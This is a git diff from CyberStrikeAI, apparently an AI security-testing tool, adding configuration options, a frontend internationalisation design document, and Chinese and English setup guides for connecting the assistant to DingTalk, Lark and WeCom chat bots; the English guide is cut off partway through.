+    api_key: sk-xxxxxx # 留空则使用OpenAI配置的api_key
   retrieval:
-    top_k: 5                        # 检索返回的Top-K结果数量
-    similarity_threshold: 0.7       # 相似度阈值（0-1），低于此值的结果将被过滤
-    hybrid_weight: 0.7              # 混合检索权重（0-1），向量检索的权重，1.0表示纯向量检索，0.0表示纯关键词检索
+    top_k: 5 # 检索返回的Top-K结果数量
+    similarity_threshold: 0.7 # 相似度阈值（0-1），低于此值的结果将被过滤
+    hybrid_weight: 0.7 # 混合检索权重（0-1），向量检索的权重，1.0表示纯向量检索，0.0表示纯关键词检索
+  # ============================================
+  # 索引配置（用于解决 API 限制问题）
+  # ============================================
+  indexing:
+    # 分块配置
+    chunk_size: 512 # 每个块的最大 token 数（默认 512），长文本会被分割成多个块
+    chunk_overlap: 50 # 块之间的重叠 token 数（默认 50），保持上下文连贯性
+    max_chunks_per_item: 0 # 单个知识项的最大块数量（0 表示不限制），防止单个文件消耗过多 API 配额
+    # 速率限制配置（解决 429 错误）
+    max_rpm: 0 # 每分钟最大请求数（默认 0 表示不限制），如 OpenAI 默认 200 RPM
+    rate_limit_delay_ms: 300 # 请求间隔毫秒数（默认 300），用于避免 API 速率限制，设为 0 不限制
+    # 建议值：200 次/分钟≈300ms, 100 次/分钟≈600ms
 
+    # 重试配置
+    max_retries: 3 # 最大重试次数（默认 3），遇到速率限制或服务器错误时自动重试
+    retry_delay_ms: 1000 # 重试间隔毫秒数（默认 1000），每次重试会递增延迟
+# ============================================
+# 机器人配置（企业微信、钉钉、飞书）
+# ============================================
+# 用于在手机端通过企业微信/钉钉/飞书与 CyberStrikeAI 对话，无需部署在服务器上也可使用
+# 在系统设置 -> 机器人设置 中可配置
+robots:
+  wecom: # 企业微信
+    enabled: false
+    token: ""
+    encoding_aes_key: ""
+    corp_id: ""
+    secret: ""
+    agent_id: 0
+  dingtalk: # 钉钉
+    enabled: false
+    client_id: ""
+    client_secret: ""
+  lark: # 飞书
+    enabled: false
+    app_id: ""
+    app_secret: ""
+    verify_token: ""
 # ============================================
 # Skills 相关配置
 # ============================================
@@ -107,7 +165,13 @@ knowledge:
 # 系统会从该目录加载所有skills，每个skill应是一个目录，包含SKILL.md文件
 # 例如：skills/sql-injection-testing/SKILL.md
 skills_dir: skills # Skills配置文件目录（相对于配置文件所在目录）
-
+# ============================================
+# 多代理子 Agent（Markdown，唯一维护处）
+# ============================================
+# 每个 .md：YAML front matter（name / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator）+ 正文为系统提示词
+# 主代理：固定文件名 orchestrator.md，或任意文件名 + front matter kind: orchestrator（全目录仅允许一个）；主代理不参与 task 子代理列表
+# 高级用法：仍可在 multi_agent 块内写 sub_agents，会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
+agents_dir: agents
 # ============================================
 # 角色相关配置
 # ============================================

docs/frontend-i18n.md

@@ -0,0 +1,335 @@
+## CyberStrikeAI 前端国际化方案
+
+本文档说明 CyberStrikeAI Web 前端（`web/templates/index.html` + `web/static/js/*.js`）的国际化设计与开发规范，确保在不引入打包工具和不改动后端路由的前提下，实现可扩展、低返工的多语言支持。
+
+当前目标：
+
+- **支持中英文切换（zh-CN / en-US）**
+- 后续可方便扩展更多语言（如 ja-JP、ko-KR 等）
+
+---
+
+## 一、总体设计原则
+
+- **前端主导的客户端国际化**：所有 UI 文案在浏览器端根据当前语言动态渲染，后端 Go 仅负责结构和数据，不参与语言分发。
+- **单一 HTML 模板**：继续使用一份 `index.html` 模板，不为不同语言复制模板文件。
+- **文案与逻辑分离**：所有可见文本通过「键值表」管理（多语言 JSON），HTML / JS 只写 key，不直接写中文/英文常量。
+- **渐进式改造**：先覆盖 header / 登录 / 侧边栏 / 系统设置等关键区域，其他页面按模块逐步迁移，避免一次性大改动。
+- **可回退默认语言**：即使目标语言未完全翻译，也能回退到默认中文，不出现原始 key。
+
+---
+
+## 二、技术选型与目录结构
+
+### 2.1 技术选型
+
+- **i18n 引擎**：使用 [i18next](https://www.i18next.com/) 的浏览器 UMD 版本（通过 CDN 引入），无需打包器。
+- **资源格式**：每种语言一份 JSON 文件，采用「域 + 语义」的层级 key 方案，例如：
+  - `common.ok`
+  - `nav.dashboard`
+  - `header.apiDocs`
+  - `settings.robot.wecom.token`
+
+### 2.2 目录结构
+
+- `web/templates/index.html`  
+  - 页面骨架 + 所有静态文案位置，将逐步改为 `data-i18n` 标记。
+- `web/static/js/i18n.js`  
+  - 前端 i18n 初始化与 DOM 应用逻辑（本方案新增）。
+- `web/static/i18n/`（新增目录）
+  - `zh-CN.json`：中文文案（默认语言）
+  - `en-US.json`：英文文案
+  - 未来可新增：`ja-JP.json`、`ko-KR.json` 等。
+
+---
+
+## 三、文案组织规范
+
+### 3.1 Key 命名约定
+
+- 采用「**模块.语义**」形式，最多 2–3 级，确保可读性：
+  - 导航：`nav.dashboard`、`nav.chat`、`nav.settings`
+  - 头部：`header.title`、`header.apiDocs`、`header.logout`
+  - 登录：`login.title`、`login.subtitle`、`login.passwordLabel`、`login.submit`
+  - 仪表盘：`dashboard.title`、`dashboard.refresh`、`dashboard.runningTasks`
+  - 系统设置：`settings.title`、`settings.nav.basic`、`settings.nav.robot`、`settings.apply`
+  - 机器人配置：`settings.robot.wecom.enabled`、`settings.robot.wecom.token` 等。
+- 尽量按「界面区域」而不是「文件名」划分域，便于非开发人员理解。
+
+### 3.2 JSON 示例
+
+`web/static/i18n/zh-CN.json` 示例：
+
+```json
+{
+  "common": {
+    "ok": "确定",
+    "cancel": "取消"
+  },
+  "nav": {
+    "dashboard": "仪表盘",
+    "chat": "对话",
+    "infoCollect": "信息收集",
+    "tasks": "任务管理",
+    "vulnerabilities": "漏洞管理",
+    "settings": "系统设置"
+  },
+  "header": {
+    "title": "CyberStrikeAI",
+    "apiDocs": "API 文档",
+    "logout": "退出登录",
+    "language": "界面语言"
+  },
+  "login": {
+    "title": "登录 CyberStrikeAI",
+    "subtitle": "请输入配置中的访问密码",
+    "passwordLabel": "密码",
+    "passwordPlaceholder": "输入登录密码",
+    "submit": "登录"
+  }
+}
+```
+
+英文文件 `en-US.json` 保持相同 key，不同 value：
+
+```json
+{
+  "common": {
+    "ok": "OK",
+    "cancel": "Cancel"
+  },
+  "nav": {
+    "dashboard": "Dashboard",
+    "chat": "Chat",
+    "infoCollect": "Recon",
+    "tasks": "Tasks",
+    "vulnerabilities": "Vulnerabilities",
+    "settings": "Settings"
+  },
+  "header": {
+    "title": "CyberStrikeAI",
+    "apiDocs": "API Docs",
+    "logout": "Sign out",
+    "language": "Interface language"
+  },
+  "login": {
+    "title": "Sign in to CyberStrikeAI",
+    "subtitle": "Enter the access password from config",
+    "passwordLabel": "Password",
+    "passwordPlaceholder": "Enter password",
+    "submit": "Sign in"
+  }
+}
+```
+
+> 约定：**新增界面时，必须先定义 i18n key，再在 HTML/JS 中使用 key**，禁止直接写死中文/英文。
+
+---
+
+## 四、HTML 标记规范（data-i18n）
+
+### 4.1 基本规则
+
+- 使用 `data-i18n` 将元素文本与某个 key 绑定：
+
+```html
+<span data-i18n="nav.dashboard">仪表盘</span>
+```
+
+- 默认行为：脚本会替换元素的 `textContent`。
+- 同时翻译属性时，额外使用 `data-i18n-attr`，逗号分隔多个属性名：
+
+```html
+<button
+  class="openapi-doc-btn"
+  onclick="window.open('/api-docs', '_blank')"
+  data-i18n="header.apiDocs"
+  data-i18n-attr="title"
+  title="API 文档">
+  <span data-i18n="header.apiDocs">API 文档</span>
+</button>
+```
+
+### 4.2 默认文本的作用
+
+- HTML 内的中文默认值作为「**无 JS / 初始化前**」的占位内容：
+  - 页面在 JS 尚未加载完成时不会出现空白或 key。
+  - JS 初始化后会用当前语言覆盖这些文本。
+
+---
+
+## 五、JavaScript 中的文案规范
+
+### 5.1 全局翻译函数 `t()`
+
+由 `i18n.js` 暴露以下全局函数：
+
+- `window.t(key: string): string`  
+  - 返回当前语言下的翻译文本，若缺失则回退到默认语言，再不行则返回 key 本身。
+- `window.changeLanguage(lang: string): Promise<void>`  
+  - 切换语言并刷新页面文案（不会刷新整页）。
+
+示例（以 `web/static/js/settings.js` 为例）：
+
+```js
+// 之前
+alert('加载配置失败: ' + error.message);
+
+// 之后
+alert(t('settings.loadConfigFailed') + ': ' + error.message);
+```
+
+> 规范：**JS 内所有面向用户的提示、按钮文字、对话框标题都应通过 `t()` 获取**，不直接写死中文/英文。
+
+### 5.2 渐进迁移建议
+
+- 优先改造：
+  - 频繁弹出的错误提示 / 成功提示；
+  - 登录相关、系统设置相关文案。
+- 低优先级：
+  - 仅面向运维人员的调试提示，可以暂时保留英文/中文常量。
+
+---
+
+## 六、i18n 初始化与语言切换实现
+
+### 6.1 语言选择策略
+
+- 默认语言：`zh-CN`。
+- 优先级（从高到低）：
+  1. `localStorage` 中的用户选择（key：`csai_lang`）。
+  2. 浏览器 `navigator.language`（`zh` 开头 → `zh-CN`，否则 `en-US`）。
+  3. 默认 `zh-CN`。
+
+### 6.2 初始化流程（`i18n.js`）
+
+1. 读取初始语言。
+2. 初始化 i18next：
+   - `lng` 为当前语言；
+   - `fallbackLng` 为 `zh-CN`；
+   - 资源先留空，采用按需加载。
+3. 通过 `fetch` 拉取 `/static/i18n/{lng}.json` 并 `i18next.addResources`。
+4. 更新：
+   - `<html lang="...">` 属性；
+   - 所有带 `data-i18n` / `data-i18n-attr` 的元素。
+5. 暴露 `window.t` 与 `window.changeLanguage`。
+
+### 6.3 DOM 应用逻辑
+
+伪代码：
+
+```js
+function applyTranslations(root = document) {
+  const elements = root.querySelectorAll('[data-i18n]');
+  elements.forEach(el => {
+    const key = el.getAttribute('data-i18n');
+    if (!key) return;
+    const text = i18next.t(key);
+    if (text) {
+      el.textContent = text;
+    }
+
+    const attrList = el.getAttribute('data-i18n-attr');
+    if (attrList) {
+      attrList.split(',').map(s => s.trim()).forEach(attr => {
+        if (!attr) return;
+        const val = i18next.t(key);
+        if (val) el.setAttribute(attr, val);
+      });
+    }
+  });
+}
+```
+
+> 对于由 JS 动态插入的元素，需要在插入后再次调用 `applyTranslations(新容器)`。
+
+---
+
+## 七、语言切换 UI 规范
+
+### 7.1 位置与形态
+
+- 位置：`index.html` header 右侧 `API 文档` 按钮附近（靠近用户头像）。
+- 交互形式：
+  - 一个紧凑的语言切换组件，例如：
+    - `🌐` 图标 + 当前语言文本（`中文` / `English`）的下拉按钮；
+    - 下拉内容列出所有可用语言。
+
+### 7.2 示例结构
+
+```html
+<div class="lang-switcher">
+  <button class="btn-secondary lang-switcher-btn" onclick="toggleLangDropdown()" data-i18n="header.language">
+    <span class="lang-switcher-icon">🌐</span>
+    <span id="current-lang-label">中文</span>
+  </button>
+  <div id="lang-dropdown" class="lang-dropdown" style="display: none;">
+    <div class="lang-option" data-lang="zh-CN" onclick="onLanguageSelect('zh-CN')">中文</div>
+    <div class="lang-option" data-lang="en-US" onclick="onLanguageSelect('en-US')">English</div>
+  </div>
+</div>
+```
+
+对应 JS（在 `i18n.js` 中）：
+
+```js
+function onLanguageSelect(lang) {
+  changeLanguage(lang).then(updateLangLabel).catch(console.error);
+  closeLangDropdown();
+}
+
+function updateLangLabel() {
+  const labelEl = document.getElementById('current-lang-label');
+  if (!labelEl) return;
+  const lang = i18next.language || 'zh-CN';
+  labelEl.textContent = lang.startsWith('zh') ? '中文' : 'English';
+}
+```
+
+> 规范：**语言切换只更新文案，不刷新整页，也不修改 URL hash**。
+
+---
+
+## 八、开发流程建议
+
+### 8.1 新增 / 修改界面的流程
+
+1. 设计界面时，先列出所有文案。
+2. 在对应语言 JSON 中补充/修改 key 与翻译。
+3. 在 HTML 中使用 `data-i18n`，在 JS 中使用 `t('...')`。
+4. 在浏览器中切换中英文，确认两种语言显示都正确。
+
+### 8.2 渐进式改造顺序（推荐）
+
+1. **阶段 1（已规划）**
+   - 引入 i18next 与 `i18n.js`。
+   - 新建 `zh-CN.json` / `en-US.json`（先覆盖 header / 登录 / 左侧导航）。
+   - 实现 header 区域语言切换组件。
+2. **阶段 2**（已完成）
+   - 系统设置页面（包括机器人配置页面）全部文案 i18n 化。
+   - `settings.js` 中的提示与错误信息改用 `t()`。
+3. **阶段 3**（进行中）
+   - 仪表盘、任务管理、漏洞管理、MCP、Skills、Roles 等页面按模块逐步迁移。
+4. **阶段 4**
+   - 清理 JS / HTML 中残留的硬编码中文，统一通过 i18n。
+
+---
+
+## 九、后续扩展新语言
+
+当需要新增语言时：
+
+1. 在 `web/static/i18n/` 中新增 `{lang}.json`，复制现有英文/中文文件结构，补充对应翻译。
+2. 在语言切换下拉中添加对应选项，例如：
+   - `data-lang="ja-JP"` / 文本 `日本語`
+3. 无需修改 `i18n.js` 或现有 HTML/JS 逻辑，即可支持新语言。
+
+---
+
+## 十、注意事项与坑点
+
+- **不要复制多份 HTML 模板** 来做多语言，那样维护成本极高，本方案统一由前端 i18n 控制。
+- **避免 key 直接用中文/英文句子**，统一采用「模块.语义」短 key，便于 diff 与搜索。
+- 避免在 CSS 中写死文本（如 `content: "xxx"`），如确有需要，应通过 JS 设置并走 i18n。
+- 对于后端返回的可本地化错误文本（未来可能支持），优先由后端根据 `Accept-Language` 返回对应语言，前端只负责展示。
+

docs/robot.md

@@ -0,0 +1,275 @@
+# CyberStrikeAI 机器人使用说明
+
+[English](robot_en.md)
+
+本文档说明如何通过**钉钉**、**飞书**与 **企业微信** 与 CyberStrikeAI 对话（长连接 / 回调模式），在手机端即可使用，无需在服务器上打开网页。按下面步骤操作可避免常见弯路。
+
+---
+
+## 一、在 CyberStrikeAI 里从哪里配置
+
+1. 登录 CyberStrikeAI Web 端  
+2. 左侧导航进入 **系统设置**  
+3. 在左侧设置分类中点击 **机器人设置**（位于「基本设置」与「安全设置」之间）  
+4. 按平台勾选并填写（钉钉填 Client ID / Client Secret，飞书填 App ID / App Secret）  
+5. 点击 **应用配置** 保存  
+6. **重启 CyberStrikeAI 应用**（只保存不重启，机器人不会连上）
+
+配置会写入 `config.yaml` 的 `robots` 段，也可在配置文件中直接编辑。**修改钉钉/飞书配置后必须重启，长连接才会生效。**
+
+---
+
+## 二、支持的平台（长连接 / 回调）
+
+| 平台     | 说明 |
+|----------|------|
+| 钉钉     | 使用 Stream 长连接，程序主动连接钉钉接收消息 |
+| 飞书     | 使用长连接，程序主动连接飞书接收消息 |
+| 企业微信 | 使用 HTTP 回调接收消息，被动回包 + 主动调用企业微信发送消息 API |
+
+下面第三节会按平台写清：在开放平台要做什么、要复制哪些字段、填到 CyberStrikeAI 的哪一栏。
+
+---
+
+## 三、各平台配置项与详细步骤
+
+### 3.1 钉钉
+
+**先搞清楚：两种钉钉机器人不一样**
+
+| 类型 | 从哪里创建 | 能否做「用户发消息→机器人回复」 | 本程序是否支持 |
+|------|------------|----------------------------------|----------------|
+| **自定义机器人** | 钉钉群里：群设置 → 添加机器人 → 自定义（Webhook） | ❌ 不能，只能你往群里发消息 | ❌ 不支持 |
+| **企业内部应用机器人** | [钉钉开放平台](https://open.dingtalk.com) 创建应用并开通机器人 | ✅ 能 | ✅ 支持 |
+
+如果你手里是「自定义机器人」的 Webhook 地址（`oapi.dingtalk.com/robot/send?access_token=xxx`）和加签密钥（`SEC...`），**不能直接填到本程序**，必须按下面步骤在开放平台创建「企业内部应用」并拿到 **Client ID**、**Client Secret**。
+
+---
+
+**钉钉配置完整步骤（按顺序做）**
+
+1. **打开钉钉开放平台**  
+   浏览器访问 [https://open.dingtalk.com](https://open.dingtalk.com)，用**企业管理员**账号登录。
+
+2. **进入应用开发**  
+   左侧选 **应用开发** → **企业内部开发** → 点击 **创建应用**（或选择已有应用）。填写应用名称等基本信息后创建。
+
+3. **拿到 Client ID 和 Client Secret**  
+   - 左侧点 **凭证与基础信息**（在「基础信息」下）。  
+   - 页面上有 **Client ID（原 AppKey）** 和 **Client Secret（原 AppSecret）**。  
+   - 点击复制，**不要手打**，注意：数字 **0** 和字母 **o**、数字 **1** 和字母 **l** 容易抄错（例如 `ding9gf9tiozuc504aer` 中间是数字 **504** 不是 5o4）。
+
+4. **开通机器人并选 Stream 模式**  
+   - 左侧 **应用能力** → **机器人**。  
+   - 打开「机器人配置」开关。  
+   - 填写机器人名称、简介等（必填项按提示填）。  
+   - **关键**：消息接收方式要选 **「Stream 模式」**（流式接入）。若只有「HTTP 回调」或未选 Stream，本程序收不到消息。  
+   - 保存。
+
+5. **权限与发布**  
+   - 左侧 **权限管理**：搜索「机器人」「消息」等，勾选**接收消息**、**发送消息**等机器人相关权限，并确认授权。  
+   - 左侧 **版本管理与发布**：若有未发布配置，点击 **发布新版本** / **上线**，否则修改不生效。
+
+6. **填回 CyberStrikeAI**  
+   - 回到 CyberStrikeAI → 系统设置 → 机器人设置 → 钉钉。  
+   - 勾选「启用钉钉机器人」。  
+   - **Client ID (AppKey)** 粘贴第 3 步复制的 Client ID。  
+   - **Client Secret** 粘贴第 3 步复制的 Client Secret。  
+   - 点击 **应用配置**，然后**重启 CyberStrikeAI**。
+
+---
+
+**CyberStrikeAI 钉钉栏位对照**
+
+| CyberStrikeAI 中填写项 | 在钉钉开放平台的来源 |
+|------------------------|------------------------|
+| 启用钉钉机器人 | 勾选即启用 |
+| Client ID (AppKey) | 凭证与基础信息 → **Client ID（原 AppKey）** |
+| Client Secret | 凭证与基础信息 → **Client Secret（原 AppSecret）** |
+
+---
+
+### 3.2 飞书 (Lark)
+
+| 配置项 | 说明 |
+|--------|------|
+| 启用飞书机器人 | 勾选后启动飞书长连接 |
+| App ID | 飞书开放平台应用凭证中的 App ID |
+| App Secret | 飞书开放平台应用凭证中的 App Secret |
+| Verify Token | 事件订阅用（可选） |
+
+**飞书配置简要步骤**：登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → **在「事件订阅」中添加事件**（见下）→ 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存。
+
+**重要：事件订阅**  
+飞书长连接只有在开放平台订阅了「接收消息」事件后才会收到用户消息。请在该应用的 **事件订阅** 页面点击「添加事件」，在「消息与群组」下勾选 **接收消息（im.message.receive_v1）** 或同类事件；若未添加，连接会建立成功但收不到任何消息，表现为发消息后本地无日志、机器人无回复。
+
+**飞书权限配置（必读）**  
+在 **权限管理** 中需开通以下权限（与开放平台列表中的名称、标识一致）；修改后需在 **版本管理与发布** 中发布新版本才生效。
+
+| 权限名称（开放平台中显示） | 权限标识 | 说明 |
+|----------------------------|----------|------|
+| 获取与发送单聊、群组消息 | `im:message` | 收发消息的基础权限，**必须开通**。 |
+| 接收群聊中@机器人消息事件 | `im:message.group_at_msg:readonly` | 群聊中 @ 机器人时收消息，需开通。 |
+| 读取用户发给机器人的单聊消息 | `im:message.p2p_msg:readonly` | 单聊收消息，**必须开通**，否则私聊发消息没反应。 |
+| 获取单聊、群组消息 | `im:message:readonly` | 读取消息内容，**必须开通**。 |
+
+**事件订阅**（与权限分开配置）：在 **事件订阅** 中添加 **接收消息（im.message.receive_v1）**，否则长连接收不到消息推送。
+
+- **单聊**：在飞书里打开与机器人的私聊窗口，直接发「帮助」或任意文字即可，无需 @。  
+- **群聊**：在群里只有 **@ 机器人** 后发送的内容才会被机器人收到并回复。
+
+---
+
+### 3.3 企业微信 (WeCom)
+
+> 企业微信目前采用「HTTP 回调 + 主动发送消息 API」的方式工作：  
+> - 用户发消息 → 企业微信以加密 XML **回调到你的服务器**（本程序的 `/api/robot/wecom`）；  
+> - CyberStrikeAI 解密并调用 AI → 使用企业微信的 `message/send` 接口**主动发消息给用户**。
+
+**配置概览：**
+
+- 在企业微信管理后台创建或选择一个**自建应用**。
+- 在该应用的「接收消息」处配置回调 URL、Token、EncodingAESKey。
+- 在 CyberStrikeAI 的 `config.yaml` 中填入：
+  - `robots.wecom.corp_id`：企业 ID（CorpID）
+  - `robots.wecom.agent_id`：应用的 AgentId
+  - `robots.wecom.token`：消息回调使用的 Token
+  - `robots.wecom.encoding_aes_key`：消息回调使用的 EncodingAESKey
+  - `robots.wecom.secret`：该应用的 Secret（用于调用企业微信主动发送消息接口）
+
+> **重要：IP 白名单（errcode 60020）**  
+> CyberStrikeAI 使用 `https://qyapi.weixin.qq.com/cgi-bin/message/send` 主动发送 AI 回复。  
+> 若企业微信日志或本程序日志中出现 `errcode 60020 not allow to access from your ip`：
+>
+> - 说明你的服务器出口 IP **没有加入企业微信的 IP 白名单**；  
+> - 请在企业微信管理后台中找到该自建应用的**「安全设置 / IP 白名单」**（具体入口可能因版本略有不同），将运行 CyberStrikeAI 的服务器公网 IP（如 `110.xxx.xxx.xxx`）加入白名单；  
+> - 保存后等待生效，再次发送消息测试。
+>
+> 如果 IP 未加入白名单，企业微信会拒绝主动发送消息，表现为：  
+> - 回调接口 `/api/robot/wecom` 能正常收到并处理消息；  
+> - 但手机端**始终收不到 AI 回复**，日志中有 `not allow to access from your ip` 提示。
+
+---
+
+## 四、机器人命令
+
+在钉钉/飞书中向机器人发送以下**文本命令**（仅支持文本）：
+
+| 命令 | 说明 |
+|------|------|
+| **帮助** | 显示命令帮助与说明 |
+| **列表** 或 **对话列表** | 列出所有对话的标题与对话 ID |
+| **切换 \<对话ID\>** 或 **继续 \<对话ID\>** | 指定对话 ID，后续消息在该对话中继续 |
+| **新对话** | 开启一个新对话，后续消息在新对话中 |
+| **清空** | 清空当前对话上下文（效果等同「新对话」） |
+| **当前** | 显示当前对话 ID 与标题 |
+| **停止** | 中断当前正在执行的任务 |
+| **角色** 或 **角色列表** | 列出所有可用角色（渗透测试、CTF、Web 应用扫描等） |
+| **角色 \<角色名\>** 或 **切换角色 \<角色名\>** | 切换当前使用的角色 |
+| **删除 \<对话ID\>** | 删除指定对话 |
+| **版本** | 显示当前 CyberStrikeAI 版本号 |
+
+除以上命令外，**直接输入任意文字**会作为用户消息发给 AI，与 Web 端对话逻辑一致（渗透测试/安全分析等）。
+
+---
+
+## 五、如何使用（要 @ 机器人吗？）
+
+- **单聊（推荐）**：在钉钉/飞书里**搜索并打开该机器人**，进入与机器人的**私聊**，直接输入「帮助」或任意文字即可，**不需要 @**。  
+- **群聊**：若机器人被添加到群里，在群内只有 **@机器人** 后发送的消息才会被机器人收到并回复；不 @ 的群消息不会触发机器人。
+
+总结：和机器人**单聊时直接发**；在**群里用时需要 @机器人** 再发内容。
+
+---
+
+## 六、推荐使用流程（避免漏步骤）
+
+1. **在开放平台**：按第三节完成钉钉或飞书应用创建、凭证复制、机器人开通（钉钉务必选 **Stream 模式**）、权限与发布。  
+2. **在 CyberStrikeAI**：系统设置 → 机器人设置 → 勾选对应平台，粘贴 Client ID/App ID、Client Secret/App Secret → 点击 **应用配置**。  
+3. **重启 CyberStrikeAI 进程**（否则长连接不会建立）。  
+4. **在手机钉钉/飞书**：找到该机器人（单聊直接发，群聊需 @机器人），发「帮助」或任意内容测试。
+
+若发消息没反应，先看 **第九节排查** 和 **第十节常见弯路**。
+
+---
+
+## 七、配置文件示例
+
+`config.yaml` 中机器人相关片段示例：
+
+```yaml
+robots:
+  dingtalk:
+    enabled: true
+    client_id: "your_dingtalk_app_key"
+    client_secret: "your_dingtalk_app_secret"
+  lark:
+    enabled: true
+    app_id: "your_lark_app_id"
+    app_secret: "your_lark_app_secret"
+    verify_token: ""
+```
+
+修改后需**重启应用**，长连接在应用启动时建立。
+
+---
+
+## 八、如何验证是否可用（无需钉钉/飞书客户端）
+
+在未安装钉钉或飞书时，可用**测试接口**验证机器人逻辑是否正常：
+
+1. 先登录 CyberStrikeAI Web 端（保证有登录态）。  
+2. 使用 curl 调用测试接口（需携带登录后的 Cookie）：
+
+```bash
+# 将 YOUR_COOKIE 替换为登录后获得的 Cookie（浏览器 F12 → 网络 → 任意请求 → 请求头中的 Cookie）
+curl -X POST "http://localhost:8080/api/robot/test" \
+  -H "Content-Type: application/json" \
+  -H "Cookie: YOUR_COOKIE" \
+  -d '{"platform":"dingtalk","user_id":"test_user","text":"帮助"}'
+```
+
+若返回 JSON 中含有 `"reply":"【CyberStrikeAI 机器人命令】..."`，说明命令处理正常。可再试 `"text":"列表"`、`"text":"当前"` 等。
+
+接口说明：`POST /api/robot/test`（需登录），请求体 `{"platform":"可选","user_id":"可选","text":"必填"}`，响应 `{"reply":"回复内容"}`。
+
+---
+
+## 九、钉钉发消息没反应时排查
+
+按顺序检查：
+
+0. **笔记本合盖睡眠 / 断网后**  
+   钉钉、飞书均使用长连接收消息，睡眠或断网后连接会断开。程序会**自动重连**（约 5 秒～60 秒内重试）。唤醒或恢复网络后稍等一会儿再发消息；若仍无反应，可重启 CyberStrikeAI 进程。
+
+1. **Client ID / Client Secret 是否与开放平台完全一致**  
+   从「凭证与基础信息」里**复制粘贴**，不要手打。注意数字 **0** 与字母 **o**、数字 **1** 与字母 **l**（例如 `ding9gf9tiozuc504aer` 中间是 **504** 不是 5o4）。
+
+2. **是否在保存配置后重启了应用**  
+   机器人长连接在**应用启动时**建立。在 Web 端点击「应用配置」只写入配置文件，**必须重启 CyberStrikeAI 进程**后钉钉连接才会生效。
+
+3. **看程序日志**  
+   - 启动后应看到：`钉钉 Stream 正在连接…`、`钉钉 Stream 已启动（无需公网），等待收消息`。  
+   - 若出现 `钉钉 Stream 长连接退出` 且带错误信息，多为 **Client ID / Client Secret 错误**或**开放平台未开通流式接入**。  
+   - 在钉钉里发一条消息后，若有收到，应有日志：`钉钉收到消息`；若没有，说明钉钉未把消息推到本程序（回头检查开放平台「机器人」是否开通、是否选用 **Stream 模式**）。
+
+4. **开放平台侧**  
+   应用需已**发布**；在「机器人」能力中需开启**流式接入（Stream）** 用于接收消息（仅 HTTP 回调不够）；权限管理里需有机器人接收、发送消息等权限。
+
+---
+
+## 十、常见弯路（避免踩坑）
+
+- **用错了机器人类型**：在钉钉**群里**添加的「自定义」机器人（Webhook + 加签）**不能**用来做对话，本程序只支持**开放平台「企业内部应用」**里的机器人。  
+- **只保存没重启**：在 CyberStrikeAI 里改完机器人配置后必须**重启应用**，否则长连接不会建立。  
+- **Client ID 抄错**：开放平台是 `504` 就填 `504`，不要填成 `5o4`；尽量用复制粘贴。  
+- **钉钉只开了 HTTP 回调没开 Stream**：本程序通过 **Stream 长连接**收消息，开放平台里机器人的消息接收方式必须选 **Stream 模式**。  
+- **应用没发布**：开放平台里修改了机器人或权限后，要在「版本管理与发布」里**发布新版本**，否则不生效。
+
+---
+
+## 十一、注意事项
+
+- 钉钉、飞书均**仅处理文本消息**；其他类型（如图片、语音）会提示暂不支持或忽略。  
+- 会话与 Web 端共用同一套对话数据：在机器人里创建的对话会在 Web 端「对话」列表中看到，反之亦然。  
+- 机器人执行逻辑与 **`/api/agent-loop/stream`** 一致（含进度回调、过程详情写入数据库），仅不向客户端推送 SSE，最后将完整回复一次性发回钉钉/飞书/企业微信。

docs/robot_en.md

@@ -0,0 +1,272 @@
+# CyberStrikeAI Robot / Chatbot Guide
+
+[中文](robot.md)
+
+This document explains how to chat with CyberStrikeAI from **DingTalk**, **Lark (Feishu)**, and **WeCom (Enterprise WeChat)** using long-lived connections or HTTP callbacks—no need to open a browser on the server. Following the steps below helps avoid common mistakes.
+
+---
+
+## 1. Where to configure in CyberStrikeAI
+
+1. Log in to the CyberStrikeAI web UI.
+2. Open **System Settings** in the left sidebar.
+3. Click **Robot settings** (between “Basic” and “Security”).
+4. Enable the platform and fill in credentials (DingTalk: Client ID / Client Secret; Lark: App ID / App Secret).
+5. Click **Apply configuration** to save.
+6. **Restart the CyberStrikeAI process** (saving alone does not establish the connection).
+
+Settings are written to the `robots` section of `config.yaml`; you can also edit the file directly. **After changing DingTalk or Lark config, you must restart for the long-lived connection to take effect.**
+
+---
+
+## 2. Supported platforms (long-lived / callback)
+
+| Platform       | Description |
+|----------------|-------------|
+| DingTalk       | Stream long-lived connection; the app connects to DingTalk to receive messages |
+| Lark (Feishu)  | Long-lived connection; the app connects to Lark to receive messages |
+| WeCom (Qiye WX)| HTTP callback to receive messages; CyberStrikeAI replies via WeCom’s message sending API |
+
+Section 3 below describes, per platform, what to do in the developer console and which fields to copy into CyberStrikeAI.
+
+---
+
+## 3. Configuration and step-by-step setup
+
+### 3.1 DingTalk
+
+**Important: two types of DingTalk bots**
+
+| Type | Where it’s created | Can do “user sends message → bot replies”? | Supported here? |
+|------|-------------------|-------------------------------------------|------------------|
+| **Custom bot (Webhook)** | In a DingTalk group: Group settings → Add robot → Custom (Webhook) | No; you can only post to the group | No |
+| **Enterprise internal app bot** | [DingTalk Open Platform](https://open.dingtalk.com): create an app and enable the bot | Yes | Yes |
+
+If you only have a **custom bot** Webhook URL (`oapi.dingtalk.com/robot/send?access_token=...`) and sign secret (`SEC...`), **do not** put them into CyberStrikeAI. You must create an **enterprise internal app** in the open platform and obtain **Client ID** and **Client Secret** as below.
+
+---
+
+**DingTalk setup (in order)**
+
+1. **Open DingTalk Open Platform**  
+   Go to [https://open.dingtalk.com](https://open.dingtalk.com) and log in with an **enterprise admin** account.
+
+2. **Create or select an app**  
+   In the left menu: **Application development** → **Enterprise internal development** → **Create application** (or choose an existing app). Fill in the app name and create.
+
+3. **Get Client ID and Client Secret**  
+   - In the left menu open **Credentials and basic info** (under “Basic information”).  
+   - Copy **Client ID (formerly AppKey)** and **Client Secret (formerly AppSecret)**.  
+   - Use copy/paste; avoid typing by hand. Watch for **0** vs **o** and **1** vs **l** (e.g. `ding9gf9tiozuc504aer` has the digits **504**, not 5o4).
+
+4. **Enable the bot and choose Stream mode**  
+   - Left menu: **Application capabilities** → **Robot**.  
+   - Turn on “Robot configuration”.  
+   - Fill in robot name, description, etc. as required.  
